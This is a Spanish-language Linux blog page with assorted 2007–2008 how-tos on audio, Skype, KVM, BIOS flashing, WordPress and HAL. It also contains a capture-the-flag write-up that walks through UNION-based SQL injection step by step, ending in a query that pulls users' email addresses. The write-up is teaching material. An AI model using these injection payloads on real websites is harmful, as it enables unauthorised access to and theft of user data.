Quien no tiene hoy en dia un ordenador con 40 salidas de audio de minijack (o mas) front, rear, supu... Normalmente para el dia a dia solo sueles usar alguna de estas. Muchos, como yo no tenemos altavoces 5.1 (7.1, 8.1 .... cuando parara...) para el ordena, para lo que lo usamos es para currar, escuchar musica y pa echarnos unos quakes a lo sumo. Normalmente tendras los altavoces estero (con o sin subwofer) y unos cascos. Dependiendo de la tarea y del entorno usaras cascos o altavoces y es posible que o tengas el duplicador de front con cascos y altavoces a la vez enchufados o que tengas que agacharte y mirarle el culo a tu precioso ordenador para cambiar mini-jacks cada vez que quieras cambiar de altavoces a cascos...
¡¡¡Bueno pues se acabo!!!
Se acabo el agacharte para poner los cascos y asi poder ver p*rn*... pelicul... series de.... (¿hay algo que no este prohibido aun y sea socialmente aceptable...?) a, si, videos de tus amigos en sus vacaciones en la palma en youtube el tener apagado los altavoces y escuchar un sonidillo de fondo en los cascos, con los mensajes del chuceras de turno que esta conectado a las 3 am al gaim, molestando asi tus dulces sueños.
Lo primero es duplicar el audio que sale por los altavoces principales salga tambien por los altavoces traseros :
En alsamixer, Duplicate Front, que este en on ([00])
Gracias a esto podras tener conectados altavoces y cascos a la vez y te sonara estereo por ambos.
Ahora creamos un script que vamos a llamar switch-alsa-output ...
(En el caso de mi tarjeta el master es el front.... npi de porque)
... en el que ponemos el siguiente codigo :if amixer get Master | grep off; then
amixer -q set Master unmute;
amixer -q set Surround mute;
else
amixer -q set Master mute;
amixer -q set Surround unmute;
fi
Ejecutamos y comprobamos que cambia la salida del audio de uno a otro.
Ya como ultimo paso me meti como root, copie el script a /usr/local/bin su
cp switch-alsa-output /usr/local/bin
Cambie permisos chown root:audio /usr/local/bin/switch-alsa-output
chmod 750 /usr/local/bin/switch-alsa-output
audio es el grupo de usuarios que tienen acceso al audio del sistema en gentoo... No se como sera en otras distros...
Salud3!
El 99% del script esta sacado de aqui :: http://www.esdebian.org/forum/viewtopic.php?forum=38&showtopic=91279
Gracias infinitas a elsenyordelcaos por su aportacion.
miércoles, 9 de enero de 2008
Script para silenciar-dessilenciar altavoces, cascos...
Publicado por
moz667
los
12:14 p. m.
0
comentarios
viernes, 9 de noviembre de 2007
Skype 2 32bits para Linux amd64
(con soporte de Video!!!)
- Bajar el Skype 2.0 en Static.
- Descomprimir en /opt/skype.
- Instalar paquete ia32-libs.
- Ejecutar el comando:
ldd /opt/skype/skype | awk '/not found/{print $1}'
Buscar las librarias que salen después del comando en su versión para 32bits y copiarlos a /opt/skype/lib/. Una posibilidad es usar el repositorio debian y descomprimir los debs para poder copiar las librerias. - Crear archivo ejecutable en /usr/local/bin/skype:
#!/bin/sh
SP=/opt/skype
export LD_LIBRARY_PATH=$SP/lib/
$SP/skype --resources=$SP/ $@ - Asegurar que todo pertenece a root y solo el tiene permisos de modificación:
chown -R root:root /opt/skype /usr/local/bin/skype
chmod -R go-w /opt/skype /usr/local/bin/skype - Crear acceso directo en tu desktop a /usr/local/bin/skype con el icono de /opt/skype/icons.
Publicado por
Pau
los
10:32 a. m.
0
comentarios
jueves, 8 de noviembre de 2007
Instalación de Windows XP en KVM
Primero se debe comprobar que se pueda usar kvm, de no ser así se puede usar qemu con kqemu que también se trata de una solución libre. Para comprobarlo el comando de a continuación debe responder si dispones de las extensiones de virtualización:grep '^flags.*(svm|kvm)' /proc/cpuinfo
Con extensiones de virtualización en la CPU: (Recomendado)
Programas necesarios: kvm, qemu
Módulos necesarios: kvm, (kvm-intel|kvm-amd)
Sin extensiones de virtualización en la CPU:
Programas necesarios: qemu
Módulos necesarios: kqemu
En ese caso debería funcionar reemplazando los comandos "kvm" por "qemu" pero no ha sido probado.
- Crear disco virtual:
qemu-img create -f qcow vdisk.img 10G
Para conseguir mejor resultados de disco en windows es mejor usarqcow2envez deqcow. - Empezar la instalación:
kvm -hda vdisk.img -cdrom windowsxp.iso -boot d -m 256 -no-acpi -localtime
ACPI en virtualización va muy lento así que lo desactivamos, eso tiene la pega de que no se reinicia correctamente durante la instalación (en mi caso lo he reiniciando matando a kvm).
Después de la instalación de agrega a mano un hardware de sistema llamado algo parecido a "APM/Legacy NT" para que se apague y reinicie correctamente mediante el uso de APM y sin usar ACPI. - Empezar a usar Windows:
- Básico
export QEMU_AUDIO_DRV=sdl
kvm -hda vdisk.img -m 256 -no-acpi -localtime -soundhw es1370
No tiene problemas. - Seamless
export QEMU_AUDIO_DRV=sdl
kvm -hda vdisk.img -m 256 -no-acpi -localtime -soundhw es1370 \
-redir tcp:3389::3389 -nographic -monitor null -serial null- Ejecutar en modo básico (mirar el apartado anterior).
- Se debe descomprimir el SeamlessRDP en la carpeta c:\seamlessrdp\
- A preferencias de sistema se activa el acceso remoto.
- A cuentas debe estar activado la pantalla de bienvenida y cambio rapido de usuarios.
- Se le pone password al usuario Administrador.
- Apagar el Windows y ya se puede iniciar en modo seamless que kvm ya no necesitara las X.
- Desde Linux ya se puede entrar con rdesktop.
rdesktop -E -r sound:remote -r disk:home=$HOME -k es -u administrador -p - \
-A -s "c:\seamlessrdp\seamlessrdpshell.exe taskmgr"
Aquí se usa RDP en vez de SMB para los archivos pero se recomienda usar elprograma Samba. - Ejecutar en modo básico (mirar el apartado anterior).
- Básico
man qemuSe aplican los parámetros de qemu en kvm.
Apagar desde RDP:
Ejecutar o crear acceso directo a
shutdown -s -fComprimir la imagen de disco:
- Defragmentar en Windows (Guest).
- Ejecutar SDelete en Windows (Guest):
sdelete -c c: - Apagar el Guest.
- Comprimir la imagen en el Host:
mv vdisk.img vdisk-zerofull.img
qemu-img convert -c -f qcow vdisk-zerofull.img -O qcow vdisk.img
rm vdisk-zerofull.img
Publicado por
Pau
los
6:29 p. m.
1 comentarios
Etiquetas: amd64X2, configuracion, cpu, kvm, rdesktop, rdp, seamless, virtualizacion
miércoles, 7 de noviembre de 2007
Actualizacion de la bios de Asus A8NSLI-Deluxe
El otro dia recibi porfin mi super microprocesador nuevo AMDX2, socket 939 para que fuera compatible con mi placa.
Apaque el ordenador, saque el antiguo y puse el nuevo. Arranque cruzando los dedos y lo hizo, vi que no tenia soporte para powernow/cool'n'quiet, lo cual me extraño porque leyendome las especificaciones del micro nuevo vi que tenia esa funcionalidad... Haciendo un cat /proc/cpuinfo vi que no reconocia bien el micro, asi que me imagine, que me hacia falta una actualizacion de bios.
Me meto en asus.com, me bajo la ultima actualizacion y me encuentro en el dilema de siempre al actualizar una bios. No tengo disketera y me toca los webos tener que tostar un dvd por 500 kb, asi que investigo a ver si hay algo para linux para flashear bios. Logicamente en asus no tienen nada, solo para güindous...
Despues de buscar un poco encontre esto, se trata de una utilidad que se creo para flashear las bios del proyecto LinuxBIOS pero que supuestamente funciona tambien para BIOS propietarias, la forma de usar la aplicacion es muy sencilla y aqui tienes una lista de las placas oficialmente testeadas por si te animas ha usarla, pero antes te recomendaria que siguieras leyendo para que veas lo que me paso a mi con la placa A8N-SLI Deluxe.
Bueno el caso es que me lei el wiki del proyecto flashrom y no tiene mucho misterio, en la lista de placas testeadas oficialmente no estaba la mia, ni en las que tenian el visto bueno ni en las que cascaban, pero habia un modelo superior, A8N-SLI Premium ... Bueno pues me arme de valor, me agarre los machos y me dispuse a ello.
1) Lo instale manualmente :$ svn co svn://linuxbios.org/repos/trunk/util/flashrom
$ cd flashrom
$ make
$ sudo make install
2) Hice un backup de la bios actual$ flashrom -r backup.bin
Hasta aqui todo perfecto...
3) Flashee la nueva BIOS$ flashrom -wv backup.bin
Error al comprobar la nueva bios.... ufff una gota de sudor frio recorre mi espalda... voy a volver a poner el backup que esto me da mala espina$ flashrom -wv 1805.BIN
Error al comrpobar la nueva bios.... Bueno... a lo mejor no comprueba correctamente la bios pero esta bien programada.... Vuelvo a meter la nueva y pienso... vamos ha hacer un backup de la nueva y un diff a ver si son iguales el backup de la nueva de la nueva bajada de asus... si lo son imagino que esta bien programada.flashrom -wv 1805.BIN
flashrom -wv backup-nueva.bin
diff 1805.BIN backup-nueva.bin
Los archivos son distintos.... Bueno tampoco tenia porque demostrar nada... A lo mejor el backup es distinto de una imagen nueva antes de flashearla... ¿Me arriesgo y reinicio?
... Logicamente, ya sin BIOS en mi placa, hice lo que suelo hacer siempre, cagarme en todo lo cagable y despues ponerme a llorar como una madalena.
Cuando reiniciaba me salia un mensaje de meter cd o diskete para arrancar, meti un dvd de gparted live que tengo para ver si podia de alguna forma flashearla again pero no arrancaba, buscaba un archivo que te viene en la descarga de la actualizacion de la BIOS AWDFLASH.EXE. Cree un DVD con estos dos archivos (AWDFLASH.EXE, 1805.BIN) desde otro ordenador y ya arranque flasheo la BIOS correctamente y todo parecia "funcionar" de nuevo... Ya con el soporte para AMDX2... pero.... aqui no acaba la historia...
El Ordenador desde donde estoy haciendo todo esto, es mi ordenador principal de casa que hace de firewall nateo y mil pijotadas mas, tiene 2 tarjetas de red, la principal que sale a internet, eth1 y la que va a la red local eth2... pos bien, no me reconocia eth1... Como usuario de Güindous (en mi jornada laboral) le eche la culpa al sistema... me mire de arriba abajo el kernel los modulos de red, meti incluso nuevos modulos... despues de estar dandole vueltas y cabreado me fui a dormir.
Al dia siguiente mas tranquilo pense en lo que habia hecho. He flasheado una BIOS, el sistema tiene que estar bien, no he tocado el sistema, asi que o se ha jodido la tarjeta de red, al poner el micro o la BIOS se lo ha cargado...
Empece a mirar dmesg mas tranquilamente, los lspci, los modulos cargados y el udev. ¡BINGO! Tenia una nueva tarjeta eth3, ¿que habia pasado? el flasheo habia cambiado la MAC de la tarjeta principal, en las reglas del udev tenia algo asi :cat /etc/udev/rules.d/70-persistent-net.rules
# Firewire device 0011d800002ace6e)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:00:00:2a:ce:6e", NAME="eth0"
# PCI device 0x11ab:0x4320 (skge)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:d9:c6:d5", NAME="eth2"
# PCI device 0x10de:0x0057 (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:e5:b6:b8", NAME="eth1"
# PCI device 0x10de:0x0057 (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTR{address}=="04:4b:80:80:80:30", NAME="eth3"
Si os fijais hay dos dispositivos practicamente identicos en el eth1 y eth3 la unica diferencia es la MAC.... Modifique el archivo dejandolo asinano -w /etc/udev/rules.d/70-persistent-net.rules
# Firewire device 0011d800002ace6e)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:00:00:2a:ce:6e", NAME="eth0"
# PCI device 0x11ab:0x4320 (skge)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:d9:c6:d5", NAME="eth2"
## # PCI device 0x10de:0x0057 (forcedeth)
## SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:e5:b6:b8", NAME="eth1"
# PCI device 0x10de:0x0057 (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTR{address}=="04:4b:80:80:80:30", NAME="eth1"
Para mas INRI mi proveedor de internet solo me deja conectarme con una mac-address por lo que no me dejaba conectar, me acorde de mis andanzas con la funcion preup() en el /etc/conf.d/net he hice el cambio manual de mac justo antes de arrancar la redpreup()
{
ifconfig eth1 hw ether 00:11:d8:e5:b6:b8
}
Ya contento y al tener todo funcionando me dispuse a jugar al etqw :D
Bueno, a todo esto lo unico que cambie fue en el /etc/make.conf MAKEOPTS="-j3" :D
Publicado por
moz667
los
8:54 a. m.
0
comentarios
lunes, 15 de octubre de 2007
Archivos po y mo para Wordpress 2.3 y BBPress
Hace unos dias tenia que entregar un proyecto que constaba de un wordpress con un bbpress integrado, con la mala suerte, de que si integras los dos y quieres ponerlos en castellano tienes que añadir al archivo .mo de wordpress las traducciones (ya algo obsoletas) de bbpress.
La verda es que habia visto muchas veces estos archivos pero no tenia npi de como funcionaban, como se editaban ni generaban.
Buscando por internete descubri un maravilloso editor, poedit, que te edita estos archivos y genera los .mo necesarios para las traducciones.
Cogi los dos .po de las traducciones de wp y bbpress y los mezcle a manubrio con el gedit. Despues de solventar unos 112 errores por duplicidad (tambien a manubrio borrando las duplicadas... :P), seleccione la carpeta donde tenia el proyecto con el wp y bbpress para que me actualizara el contenido de el archivo .po, ya solo queda traducir los nuevos terminos y corregir alguno viejo que no me convencia su traduccion.
El resultado lo podeis descargar de aqui
El proyecto que he creado en code.google no lo voy a mantener asiduamente, solo ire actualizando con las necesidades que vaya viendo... me encantaria poderlo haber traducido completamente pero estoy algo liao :P si alguien se anima no tiene mas que contactar conmigo.
Publicado por
moz667
los
12:50 p. m.
0
comentarios
Etiquetas: bbpress, php, traducciones, wordpress
domingo, 14 de octubre de 2007
Quake3, ET, Doom3, Quake4, ... etc y pantallas panoramica
Todos estos juegos tienen soporte, lo que pasa que por defecto te sacan solo configuraciones para 4:3 . Para activar tienes que modificar el archivo de configuracion en tu directorio home ....doom3/base/DoomConfig.cfg
.q3a/baseq3/q3config.cfg
... etc
y establecer los siguientes valores// Activar resoluciones personalizadas
seta r_mode "-1"
// ancho
seta r_customwidth "1920"
// alto
seta r_customheight "1200"
Algunos ejemplos de resoluciones (lo he dicho bien bpk? :D)
16:9
852x480
1280x720
1365x768
16:10 (Este es el de nuestro portatil bpk y palomo :D)
1440x900
1680x1050
1920x1200
4:3
320x240
2048x1535
Basicamente es una traduccion de aqui :: Origen
NOTA : Una cosa a tener en cuenta antes de que os volvais locos, es posible que la resolucion se haya aplicado, pese a que en la configuracion de video del juego no lo veais. Para saberlo con certeza hay que jugar. Tambien es posible que si cambiais algo de la config de video desde el propio juego tengais que editar de nuevo el archivo y ponerle lo antes mencionado, aunque esto ultimo es una hipotesis....
Publicado por
moz667
los
11:59 p. m.
0
comentarios
Etiquetas: juegos, panoramica, quake3
miércoles, 10 de octubre de 2007
Pando en gentoo@amd64
Queria probar como iba el tema de reproduccion HD en pando y me instale el cliente de desacargas de pandoemerge -va pandodl
resultado : masked by: missing keywordecho "net-p2p/pandodl ~* *" >> /etc/portage/package.keywords
volvemos a instalaremerge -va pandodl
Ahora instala, pero al ejecutar pandodl, no encuentra la libreria libexpat.so.1
Para solucionar esto tenemos que instalar el paquete app-emulation/emul-linux-x86-baselibs y hacer un link de la libreria de 32bits libexpat.so.0 al directorio de pando/libsln -s /usr/lib32/libexpat.so.0 /opt/pandodl/lib/libexpat.so.1
Bien, conseguido..., me bajo el primer archivo pando y resulta que las versiones 1.7 o posteriores de archivos .pando no funcionan en linux :(
En fin... me parece que tendremos que esperar.
Pando 1.7 packages can't be downloaded with Pando Linux!
Pando en Gentoo con AMD64
Inital Feedback
Publicado por
moz667
los
7:41 a. m.
0
comentarios
Etiquetas: 64bb (64 bits bugs), amd64, gentoo, p2p, pando
jueves, 4 de octubre de 2007
Problemas con hald en gentoo@amd64
Desde hace tiempo y con un maravilloso emerge -va world me dejo de funcionar el hal, el problema que me escupia en el /var/log/messages era el siguiente :[E] hald_dbus.c:5086: dbus_bus_get(): Failed to connect to socket /usr/local/var/run/dbus/system_bus_socket: No such file or directory
...y al poco tiempo despues...[E] hald_dbus.c:5086: dbus_bus_get(): Failed to connect to socket /usr/local/var/run/dbus/system_bus_socket: Connection refused
Buscando por internet encontre la forma de solucionar este "bug" que solo me ocurre para amd64 ya que en x86 parece correr dpm. Hacer un link desde /var/run/dbus/system_bus_socket a /usr/local/var/run/dbus/system_bus_socketln -s /usr/local/var/run/dbus/system_bus_socket /var/run/dbus/system_bus_socket
Con esto ya parece funcionar de nuevo.... pues no, me reconoce nuevos dispositivos pero no me los monta debido a problemas de permisos. Inicio una session como root y efectivamente, funciona dpm
Despues de dar permisos a distintos grupos a mi usuario sin ningun resultado, borre los mismos y volvi a buscar de nuevo en internet. Un chavalin con fedora explicaba como dar permisos a un usuario para el tema de auto-montaje con hal y era editando el archivo /etc/dbus-1/system.d/hal.conf
En este mismo hay un apartado para los permisos de root (id = 0) <!-- You can change this to a more suitable user, or make per-group -->
<policy user="0">
<allow send_interface="org.freedesktop.Hal.Device.SystemPowerManagement"/>
<allow send_interface="org.freedesktop.Hal.Device.VideoAdapterPM"/>
<allow send_interface="org.freedesktop.Hal.Device.LaptopPanel"/>
<allow send_interface="org.freedesktop.Hal.Device.Volume"/>
<allow send_interface="org.freedesktop.Hal.Device.Volume.Crypto"/>
</policy>
Y tal como comenta el mismo se pueden dar permisos por grupo o por usuario, como yo solo tengo un usuario :P lo hice por usuario (si solo tienes un usuario o usas el primer usuario que creaste tu id sera 1000), añadiendo este codigo que sigue justo despues de lo anterior ya damos permisos a nuestro usuario 1000 <!-- usuario X -->
<policy user="1000">
<allow send_interface="org.freedesktop.Hal.Device.SystemPowerManagement"/>
<allow send_interface="org.freedesktop.Hal.Device.VideoAdapterPM"/>
<allow send_interface="org.freedesktop.Hal.Device.LaptopPanel"/>
<allow send_interface="org.freedesktop.Hal.Device.Volume"/>
<allow send_interface="org.freedesktop.Hal.Device.Volume.Crypto"/>
</policy>
Reiniciamos hald y ya se monta todo automaticamente :D
Salud3!
Publicado por
moz667
los
8:38 a. m.
0
comentarios
Etiquetas: 64bb (64 bits bugs), amd64, gentoo, hal
martes, 2 de octubre de 2007
Ejemplo práctico de inyección SQL con UNION
El siguiente texto es una especie de cuaderno de bitácora de mi compi de curro - y de otras cosas que no voy a decir - Sponge Bob.
Es un spoiler total de una de las pruebas de http://www.hackthissite.org/, pero se ha cambiado la URL para que las arañitas de google no les sirvan en bandeja la solución a la gente que está haciendo las pruebas.
Sponge Bob dixit:
Esta misión ya se realizó en su momento, por lo parte de las acciones que realizo tienen como origen cosas que recuerdo que hice en su momento.
En primer lugar, recuerdo que products.php era sensible a injecciones SQL, usando un UNION.
http://www.hacking.org/missions/products.php?category=2+union+select+1
La siguiente injección me devuelve una única entrada sin información, cuando la categoría '2' contiene 3 productos. La consulta que se debe hacer en products.php debe ser algo del estilo
SELECT * FROM products WHERE category = 2
Dicha consulta deberá retornar X elementos y para que el código que injerto tenga éxito deberá retornar el mismo número de elemento.
Probemos....
http://www.hacking.org/missions/products.php?category=2+union+select+1,2
Mismo resultado.
http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3
Mismo resultado.
http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4
Bien. Aquí ya se devuelve 4 entradas, posiblemente los 3 productos en el resultado de mi injerto. Sin embargo no aparece ningún tipo de información, fotos, precios, descripción. Es posible que a mi injerto le falte algún tipo de información. La sentencia SQL original podría ser algo así...
SELECT id, price, description, picture FROM products WHERE category = 2
Por si acaso, también probamos con el siguiente injerto
http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4,5
En este caso, se vuelve a mostrar una única entrada, lo cuál parece reforzar el hecho de que la sentencia SQL devuelve 4 campos.
Suponiendo que la sentencia SQL original sea utilizada no por posición, sino por nombre (con el módulo de PHP MDB2 por ejemplo cuando se extraen los resultados puedes indicar que sea por columna: MDB2_FETCHMODE_ORDERED, por nombre: MDB2_FETCHMODE_ASSOC, o por objeto: MDB2_FETCHMODE_OBJECT) y presuponiendo que uno de los campos usado sea el campo clave (al cual normalmente se le llama id) ejecutamos la siguiente sentencia...
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2,3,4,5
Mmmmm, ¡han aparecido las fotos! Lo cual nos indica lo siguiente:
* Si miramos en el código html vemos que el nombre de la cada foto está relacionado con el 'id'. Así la foto 1.jpg está relacionada con el producto con id 1.
http://www.hacking.org/missions/1.jpg
* Si un campo en el injerto no tiene asignado nombre provoca que el campo en la sentencia original que ocupe el mismo puesto pierde su nombre de columna provocando que no aparezca la información correspodiente. Por ejemplo, con la siguiente sentencia
http://www.hacking.org/missions/products.php?category=2+union+select+1,2+as+id,3,4
sólo aparece la foto del elemento que se ha introducido en el injerto (2 as id) y no la de los elementos originales. Por tanto, en la sentencia original la primera columna es el id del producto.
Una aclaración: en este caso tampoco nos interesa mucho la colocación de los distintos atributos ya que lo que nos interesa en la información que podemos obtener con nuestro injerto y no la original.
Supongamos, ahora que el precio del producto tendrá como nombre de columna... no sé, ¿price? ;-)
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3,4
Bien, existe un campo price pero no está en la segunda posición. Da igual.
Supongamos que otro campo puede ser description, describiendo el producto
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+description,4
No se ha producido ningún cambio respecto a la sentencia anterior por tanto no es description.
A ver, también es cierto que no es necesario averiguar la estructura completa de la sentencia SQL original. Posiblemente a través del campo 'price' podamos sacar la información que necesitamos aunque también es posible que en la aplicación sólo manejen números o si maneja texto sea de una longitud muy limitada para nuestras necesidades. Para nuestras necesidades seguro que es más adecuado el campo que describe los productos...
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+text,4
Biiien, ya tenemos el nombre del campo que describe los productos.
Lo que no queda claro es para que sirve el cuarto campo pero bueno tampoco parece que sea muy útil.
Como nota curiosa, el siguiente injerto
http://www.hacking.org/missions/products.php?category=2+union+select+2+as+price,1+as+id,3+as+text,4
produce que la foto se coloque en la imagen (ver código fuente) la descripción del producto y en la descripción del producto el id del producto, ¿alguna explicación?
Y si probamos a veriguar qué base de datos tenemos...
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,@@version+as+text,3+as+price,4
Bueno, nos da error. Es posible que sea un mysql y no tengamos permisos de ejecución.
¿Dónde pueden estar las direcciones de correo? Si intentamos introducir como dirección de email el carácter "'" nos devuelve un informativo error:
http://www.hacking.org/missions/addemail.php?email='
Error inserting into table "email"! Email not valid! Please contact an administrator of Fischer's.
Por tanto, podemos probar a sacar el id de la tabla email...
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+id+from+email+limit+1)+as+text,3+as+price,4
Nada, nos da error. La opción 'limit' no es estándar (gracias Pedro) y hay bases de datos como Oracle que no la soportan. Lo que deja claro el siguiente injerto es que se puede introducir subconsultas en el injerto
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+2)+as+text,3+as+price,4
Bien, hagamos una consulta a la tabla email, ¿qué campo puede contener el email de los usuarios? Probemos con 'email'
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,email+as+text,3+as+price,4+from+email
Bueno, bueno, bueno, ya tenemos los emails de los usuarios ahora habría que ver a quién se le manda.
Espero que a la gente de http://www.hackthissite.org/ no les moleste, este artículo se ha creado exclusivamente con fines didácticos y sin intención de joder a nadie ^_^
Publicado por
bpk
los
9:08 a. m.
0
comentarios
Etiquetas: bases de datos, inyecciones sql, sql
martes, 25 de septiembre de 2007
El NTP de los pobres
Bueno, de los pobres, o de los vagos, o de los kutres....el caso es que aquí va mi segundo kutre-script.
Hace unos meses, me encontré en una red en la que el UDP estaba capado... yo tampoco sé en qué estarían pensando cuando decidieron esa política de seguridad, pero los caminos de lo políticos haciendo de admin son inescrutables.
El caso es que estuve investigando alguna solución que permitiese hacer NTP por TCP y no encontré nada.
La siguiente opción consistía en encapsular UDP dentro de TCP, pero no era viable al tratarse de una red aislada, sin otras redes de apoyo externas o que dieran este tipo de servicos. Además están muy desaconsejados este tipo de workarounds.
Por último, yo que antes de nada soy práctico, pensé "¿porqué no hago la consulta a algún servidor web y le meto la hora a las bravas?". Y a mí todo lo que sea meter a las bravas siempre me ha parecido una buena idea, así que creé el siguiente kutre-script:
root@osaka:~# cat /usr/local/bin/time_sync.sh
#!/bin/bash
date -u -s "`wget -O- http://www.time.gov/timezone.cgi?UTC/s/0 2> /dev/null \
| sed -n -e 's/.*size="[75]".*>\(.*\)<br>$/\1/p'`" >& /dev/null
¿Se nota que estoy intentando aprender bash scripting? xD
Ahora sólo hay que añadirlo al cron del usuario root. Para editar el cron, desde una terminal de root, ejecutamos:
root@osaka ~-> crontab -e
Y añadimos la siguiente linea:
00 09 * * * root /usr/local/bin/time_sync.sh
Yo sólo sincronizo una vez al día, porque a la peña de las páginas web les sienta muy mal que utilicen sus páginas las máquinas en vez de las personas, y no es plan de que se cabreen y pongan CAPTCHAs ^_^. Si quieres ponerlo más a menudo, ya sabes:
man -S 5 crontab
Por si un copypaste es demasiado kurro time_sync.sh
PD: Por supuesto, gracias a la gente de http://www.time.gov/ , sin vosotros esto no habría sido posible xDD
NOTA: He actualizado el artículo y el script porque ha cambiado la URL desde la que extraer la hora.
Ya sabes: apt-get update && apt-get upgrade net_para_los_pobres (just kidding)
Publicado por
bpk
los
11:19 a. m.
3
comentarios
Etiquetas: programacion, redes, script
viernes, 21 de septiembre de 2007
Problema con el idiomas en Wordpress 2.2.3 para sistemas 64bits
Trasteando con wordpress me he vuelto loco para castellanizar la version 2.2.3 de wordpress hasta que encontre en internete lo siguiente :
Si tienes una distribucion de 64 bits y no te funciona la carga de archivos .mo puede ser por que no te funcione un if puñetero que hay dentro de
wp-includes/gettext.php
Editalo y donde pone :
if ($magic == ($MAGIC1 & 0xFFFFFFFF) || $magic == ($MAGIC3 & 0xFFFFFFFF)) { // to make sure it works for 64-bit platforms
$this->BYTEORDER = 0;
} elseif ($magic == ($MAGIC2 & 0xFFFFFFFF)) {
$this->BYTEORDER = 1;
} else {
$this->error = 1; // not MO file
return false;
}pon
if ($magic == ($MAGIC1 & 0xFFFFFFFF) || $magic == ($MAGIC3 & 0xFFFFFFFF)) { // to make sure it works for 64-bit platforms
$this->BYTEORDER = 0;
} elseif ($magic == ($MAGIC2 & 0xFFFFFFFF)) {
$this->BYTEORDER = 1;
} else {
$this->BYTEORDER = 0;
// $this->error = 1; // not MO file
// return false;
}El reporte del bug en :
http://wordpress.org/support/topic/95983
y la solucion en :
http://comox.textdrive.com/pipermail/wp-trac/2007-June/012844.html
Publicado por
moz667
los
2:43 p. m.
0
comentarios
Etiquetas: 64bb (64 bits bugs), idiomas, php, wordpress
martes, 18 de septiembre de 2007
Modulo de apache de php en Gentoo
Hace un par de dias actualice mi sistema con un emerge -va world con la mala pata que cuando termino la compilacion y en vista de que tenia que actualizar 17 archivos de configuracion hice el gañan y movi el contenido de los nuevos sobreescribiendo los viejos
Una vez terminada la faena y en vista que todo parecia funcionar yo segui a lo mio hasta que hoy al intentar entrar a una de las paginas que tengo alojadas en mi ordena me descargaba el codigo php :D. ¿Gracioso no?
Acto seguido pare el apache ya que como es obvio el codigo libre pero no las passwords de los ficheros de configuracion del wordpress :P
Bueno pues ahora por la tarde me disponia a meter el modulo de php5 que imagine se les habria pasado a estos maravillosos ebuildsnasters de gentoo con la mala pata que al ponerlo me dio el siguiente errorApache2 has detected a syntax error in your configuration files:
apache2: Syntax error on line 169 of /etc/apache2/httpd.conf: Syntax error on line 4 of /etc/apache2/modules.d/70_mod_php5.conf: API module structure 'php5_module' in file /usr/lib64/apache2/modules/libphp5.so is garbled - expected signature 41503232 but saw 41503230 - perhaps this is not an Apache module DSO, or was compiled for a different Apache version?
Buscando por internet me di cuenta que me veo obligado a re-emergear el php (que no es poco)
En fin, no todo ha sido tiempo perdido, he aprendido algo nuevo que me interesa reflejar aqui a modo de apunte acerca de la configuracion de apache en gentoo
Para cargar el modulo php puedes hacerlo de varias formas
La que yo ya sabia era metiendo en alguno de los archivos de configuracion como por ejemplo en..../etc/apache2/modules.d/default
...la carga de el modulo... LoadModule php5_module modules/libphp5.so
Tambien puedes editar el archivo en /etc/conf.d/apache2 y añadir -D PHP5 a las opciones de arranque de apache2APACHE2_OPTS="-D DEFAULT_VHOST -D INFO -D LANGUAGE -D MANUAL -D SSL -D SSL_DEFAULT_VHOST -D SUEXEC -D PHP5"
Estas dos primeras opciones cargan el modulo de php... la pregunta del millon es ¿Que diferencia una de la otra?
La primera solo carga el modulo, luego tu tienes que establecer en que sitio deseas que se pueda ejecutar el php que extensiones etc.... con la segunda, tira de un archivo en mi caso /etc/apache2/modules.d/70_mod_php5.conf que contiene ya toda la configuracion tipica de un servidor que admita php.
El contenido del mismo es:<IfDefine PHP5>
# Load the module first
<IfModule !mod_php5.c>
LoadModule php5_module modules/libphp5.so
</IfModule>
# Set it to handle the files
<IfModule mod_mime.c>
AddType application/x-httpd-php .php
AddType application/x-httpd-php .phtml
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .php4
AddType application/x-httpd-php .php5
AddType application/x-httpd-php-source .phps
</IfModule>
AddDirectoryIndex index.php index.phtml
</IfDefine>
La decision de usarlo o no ya recae en cada uno y varia segun a quien esta destinado los virtuales... en mi caso que solo estoy programando web en php y que soy el unico usuario de este servidor me ahorra mucha morralla a la hora de configurar nuevos servidores virtuales.
Publicado por
moz667
los
9:05 p. m.
3
comentarios
Etiquetas: apache, configuracion, gentoo, php
miércoles, 29 de agosto de 2007
Grabar DVD con un archivo de más de 4 GB
Voy a empezar a publicar algunos de los kutre-scripts que tengo por ahí pululando, y voy a empezar por este.
Respecto al tema de los ficheros de más de 4 GB. Si alguna vez lo habéis intentado, os habréis dado cuenta de que no puedes grabarlo en un DVD de la manera tradicional.
Por lo que he leído, es algo relacionado con que mkisofs no puede crear imágenes UDF "puras" y crea imágenes híbridas UDF / Joliet.[1]
Por si alguien no se fía del script (no le culpo, yo tampoco lo haría ^_^) los pasos a seguir serían los siguientes:
- Creamos un archivo del tamaño de la imagen que queramos.
dd if=/dev/zero of=file.iso bs=2048 count=tamaño_imagen - Convertimos el fichero creado a formato UDF.
mkudffs file.iso - Montamos el fichero.
mount -o loop -t udf file.iso punto_de_montaje - Copiamos los contenidos que queramos
cp archivo_tocho punto_de_montaje - Borramos el directorio de lost+found
rm punto_de_montaje/lost+found/ -Rf - Desmontamos
umount punto_de_montaje - Tostamos
cdrecord -v -dao -dev=/dev/grabadora -driveropts=burnfree file.iso
